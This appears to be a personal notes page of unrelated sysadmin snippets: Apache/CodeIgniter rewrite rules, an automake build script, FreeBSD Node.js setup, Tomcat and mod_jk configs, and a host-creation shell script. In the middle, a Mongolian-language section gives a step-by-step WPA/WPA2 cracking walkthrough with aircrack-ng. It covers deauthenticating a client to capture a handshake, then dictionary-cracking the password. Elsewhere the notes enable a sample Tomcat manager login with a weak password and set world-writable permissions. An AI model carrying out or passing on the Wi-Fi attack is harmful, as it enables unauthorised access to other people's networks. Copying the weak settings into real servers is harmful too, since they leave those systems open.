How to Install CodeIgniter PHP Framework on Ubuntu 18.04 LTS

<VirtualHost *:80>
 #ServerAdmin admin@yourdomain.com
 #ServerName yourdomain.com

 DocumentRoot /home/boroo/ftp/projects/codeigniter
 <Directory /home/boroo/ftp/projects/codeigniter/>
   Options +FollowSymLinks
   AllowOverride All
   Order allow,deny
   allow from all
 </Directory>
 ErrorLog /var/log/apache2/codeigniter-error_log
 CustomLog /var/log/apache2/codeigniter-access_log common
</VirtualHost>

linux server deer apache garaar tohiruulj baihad rewrite mod ajillahgui tohioldol baival htacces doorhi tohirgood hiigeerei, support ssl+rewrite mod. result: https://domain/subdir/api
#on apache2
#Options Indexes FollowSymLinks Includes ExecCGI
#AllowOverride All
<IfModule mod_rewrite.c>
RewriteEngine on
# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)/$ /$1 [L,R=301]
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [L,QSA]
</IfModule>

install automake 1.15 using aclocal.sh

#!/bin/bash

# run as root only
if [[ $EUID -ne 0 ]] ; then
    echo -e "\e[1;39m[   \e[31mError\e[39m   ] need root access to run this script\e[0;39m"
    exit 1
fi

function install_automake() {
    [ $# -eq 0 ] && { run_error "Usage: install_automake <version>"; exit; }
    local VERSION=${1}
    wget ftp://ftp.gnu.org/gnu/automake/automake-${VERSION}.tar.gz &> /dev/null
    if [ -f "automake-${VERSION}.tar.gz" ]; then
            tar -xzf automake-${VERSION}.tar.gz
            cd automake-${VERSION}/
            ./configure
            make && make install
            echo -e "\e[1;39m[   \e[1;32mOK\e[39m   ] automake-${VERSION} installed\e[0;39m"

        else
            echo -e "\e[1;39m[   \e[31mError\e[39m   ] cannot fetch file from ftp://ftp.gnu.org/gnu/automake/ \e[0;39m"
            exit 1
    fi
}
install_automake 1.15

how to run nodejs app in freebsd linux

1. how to install nodejs in freebsd
=======================
cd /usr/ports/lang/python27
make install clean
*******************************
if
- env: python: No such file or directory
then create link
ln -s /usr/local/bin/python2.7 /usr/local/bin/python
- Object directory not changed from original /usr/ports/devel/libexecinfo/work/libexecinfo-1.1
then download some lib
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/itetcu/libexecinfo-1.1.tar.bz2
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/sunpoet/npm-1.3.11.tar.xz
to
/usr/ports/distfiles/
then
cd /usr/ports/devel/libexecinfo
make deinstall
make install
*******************************
cd /usr/ports/www/node
./configure
make
cd /usr/ports/www/npm
make install
*******************************
whereis npm
npm: /usr/local/bin/npm /usr/local/lib/node_modules/npm/man/man1/npm.1 /usr/ports/www/npm
whereis node
node: /usr/local/bin/node /usr/local/man/man1/node.1.gz /usr/ports/www/node


2. how to install mongodb in freebsd
=======================
http://ftp.nsysu.edu.tw/FreeBSD/ports/local-distfiles/vanilla/v8-3.18.5.tar.xz
to
/usr/ports/distfiles/
then
cd /usr/ports/databases/mongodb
make install

WPA/WPA2 CRACKING WITH AIRCRACK /KALI LINUX/

1. TERMINAL дээр airmon-ng start wlan0   гэж бичнэ.   

Харагдах байдал.  <a></a><a>http://s21.postimg.org/53t5tbfdz/image.jpg</a>

2. airodump-ng mon0 гэж бичнэ.

За нэг иймэрхүү харагдана.   <a>http://s24.postimg.org/s3cdprg0l/image.jpg</a>

3. Гарч ирсэн жагсаалт дотроос дайралт хийх утасгүй интернэтээ сонгож коммандаа бичнэ.

Жишээ нь 2 дахь дээр байгаа зургийн эхний утасгүй интернэт рүү дайръя гэвэл 

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0  гэж бичнэ.

Нэмэлт тайлбар:

Эхлэл заавал airodump-ng байх ёстой.

2-рт --channel гэж бичээд араас нь  CH гэсний доод талын тоог залгаж бичнэ.

3-рт заавал  --write output гэж байна.

4-рт --bssid гэж бичээд BSSID гэсний доод талыг зай авж бичнэ.

5-рт  заавал mon0 гэж байна.

4. Өөр нэг TERMINAL нээж aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:12:17:94:90:0D mon0 гэж бичнэ.

Нэмэлт тайлбар:

Эхлээд заавал aireplay-ng --deauth 1 гэж байна.

2-рт  -a гэж бичээд BSSID-аа зай авч бичнэ.

3-рт -c гэж бичээп араас нь 2-р зураг дээр байгаагийн STATION гэсний кодыг бичнэ.

4-рт заавал mon0 байна.

5. Уншиж дууссаны дараа WPA HANDSHAKE гэсэн бичиг гарч байвал бүх зүйл хэвийн үргэлжилж байна гэсэн үг.  Харагдах байдал: <a></a><a>http://s22.postimg.org/82coo6rbl/image.jpg</a>

<a>
</a>

<a>6. Одоо үргэлжлүүлээд шууд </a>aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt гэсэн комманд өгнө. Уншиж дууссаны дараа утасгүй интернэтийн нууц үг гарч илэрсэн болно.

workers.properties for tomcat configuration

workers.tomcat_home=/opt/tomcat6

workers.java_home=/opt/jdk1.6.0_24

ps=/

# Define 1 real worker named ajp13

worker.list=worker1

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=localhost

worker.ajp13.port=8009

worker.ajp13.lbfactor=1

tomcat-users.xml for tomcat configuration

<?xml version='1.0' encoding='utf-8'?>

<!--

 Licensed to the Apache Software Foundation (ASF) under one or more

 contributor license agreements.  See the NOTICE file distributed with

 this work for additional information regarding copyright ownership.

 The ASF licenses this file to You under the Apache License, Version 2.0

 (the "License"); you may not use this file except in compliance with

 the License.  You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software

 distributed under the License is distributed on an "AS IS" BASIS,

 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

 See the License for the specific language governing permissions and

 limitations under the License.

-->

<tomcat-users>

<!--

 NOTE:  By default, no user is included in the "manager-gui" role required

 to operate the "/manager/html" web application.  If you wish to use this app,

 you must define such a user - the username and password are arbitrary.

-->

<!--

 NOTE:  The sample user and role entries below are wrapped in a comment

 and thus are ignored when reading this file. Do not forget to remove

 <!.. ..> that surrounds them.

-->

 <role rolename="manager-gui"/>

 <user username="tomcat" password="s3cret" roles="manager-gui"/>

</tomcat-users>

server.xml for tomcat configuration

<?xml version='1.0' encoding='utf-8'?>

<Server port="8005" shutdown="SHUTDOWN">

 <!--APR library loader. Documentation at /docs/apr.html -->

 <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />

 <!--Initialize Jasper prior to webapps are loaded. Documentation at /docs/jasper-howto.html -->

 <Listener className="org.apache.catalina.core.JasperListener" />

 <!-- Prevent memory leaks due to use of particular java/javax APIs-->

 <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />

 <!-- JMX Support for the Tomcat server. Documentation at /docs/non-existent.html -->

 <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener" />

 <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />

 <!-- Global JNDI resources

      Documentation at /docs/jndi-resources-howto.html

 -->

 <GlobalNamingResources>

    <!-- Editable user database that can also be used by

        UserDatabaseRealm to authenticate users

    -->

    <Resource name="UserDatabase" auth="Container"

             type="org.apache.catalina.UserDatabase"

             description="User database that can be updated and saved"

             factory="org.apache.catalina.users.MemoryUserDatabaseFactory"

             pathname="conf/tomcat-users.xml" />

 </GlobalNamingResources>

 <!-- A "Service" is a collection of one or more "Connectors" that share

      a single "Container" Note:  A "Service" is not itself a "Container",

      so you may not define subcomponents such as "Valves" at this level.

      Documentation at /docs/config/service.html

  -->

 <Service name="Catalina">

    <!--The connectors can use a shared executor, you can define one or more named thread pools-->

    <!--

    <Executor name="tomcatThreadPool" namePrefix="catalina-exec-"

       maxThreads="150" minSpareThreads="4"/>

    -->

    <!-- A "Connector" represents an endpoint by which requests are received

        and responses are returned. Documentation at :

        Java HTTP Connector: /docs/config/http.html (blocking & non-blocking)

        Java AJP  Connector: /docs/config/ajp.html

        APR (HTTP/AJP) Connector: /docs/apr.html

        Define a non-SSL HTTP/1.1 Connector on port 8080

    -->

    <Connector port="8080" protocol="HTTP/1.1"

              connectionTimeout="20000"

              redirectPort="8443" />

    <!--

    <Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"

              maxThreads="150" scheme="https" secure="true"

              clientAuth="false" sslProtocol="TLS" />

    -->

    <!-- Define an AJP 1.3 Connector on port 8009 -->

    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

    <!-- You should set jvmRoute to support load-balancing via AJP ie :

    <Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">       

    -->

    <Engine name="Catalina" defaultHost="localhost">

     <!-- This Realm uses the UserDatabase configured in the global JNDI

          resources under the key "UserDatabase".  Any edits

          that are performed against this UserDatabase are immediately

          available for use by the Realm.  -->

     <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/>

     <!-- Define the default virtual host

          Note: XML Schema validation will not work with Xerces 2.2.

      -->

     <Host name="www.hiimeloyun.mn" appBase="/home/jhosts" unpackWARs="true" autoDeploy="true" xmlValidation="false" xmlNamespaceAware="false">

   <Context path="" docBase="hiimeloyun.mn" debug="0"/>

   <!--<Alias>lan.hiimeloyun.mn</Alias>-->

   <Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />

     </Host>

   <Host name="lan.hiimeloyun.mn" appBase="/home/jhosts/hiimeloyun.mn" unpackWARs="true" autoDeploy="true" xmlValidation="false" xmlNamespaceAware="false">

       <Context path="" docBase="lan" debug="0"/>

       <Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />

     </Host>

    </Engine>

   

 </Service>

<Listener className="org.apache.jk.config.ApacheConfig" modJk="/opt/lampp/modules/mod_jk.so" />

</Server>

mod_js.conf for tomcat configuration

LoadModule jk_module modules/mod_jk.so

<IfModule mod_jk.c>

# Update this path to match your conf directory location

JkWorkersFile "/opt/tomcat6/conf/jk/workers.properties"

#Update this path to match your log directory location

JkLogFile "/opt/tomcat6/logs/mod_jk.log"

# Set the jk log level [debug|error|info]

JkLogLevel debug|error

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

</IfModule>

how to restart start stop tomcat with apache server in linux

sh /opt/tomcat6/bin/shutdown.sh

/etc/rc.d/lampp stopapache

/etc/rc.d/lampp startapache

sh /opt/tomcat6/bin/startup.sh

how to create java host folder by name parameters in linux

#!/bin/bash

ROOT=/home/jhosts/

cd $ROOT

if [ $# -eq 2 ]; then

   if [[ "$2" = "rm" ]]; then

      rm -R $1

      echo $1 is removed

      dir

   else

      mkdir $1

      mkdir $ROOT$1/logs

      chown jsproot:users -R $1/

      chmod 777 -R $1/

      useradd $2 -g users -s /bin/false -d $ROOT$1/

      passwd $2

      chown $2:users $ROOT$1/logs

      #chmod 777 $ROOT$1/logs

      echo $1 is created

   fi

else

   if [ $# -eq 3 ]; then

      mkdir $1

      mkdir $ROOT$1/logs

          chown jsproot:users -R $1/

          chmod 777 -R $1/

          useradd -e $3 -f 35 $2 -g users -s /bin/false -d $ROOT$1/

          passwd $2

      chown $2:users $ROOT$1/logs

          echo "$1 until ($3) is created"

   else

      echo "arguments for example: hiimeloyun.mn hiimeoyun 2012-12-21"

   fi

fi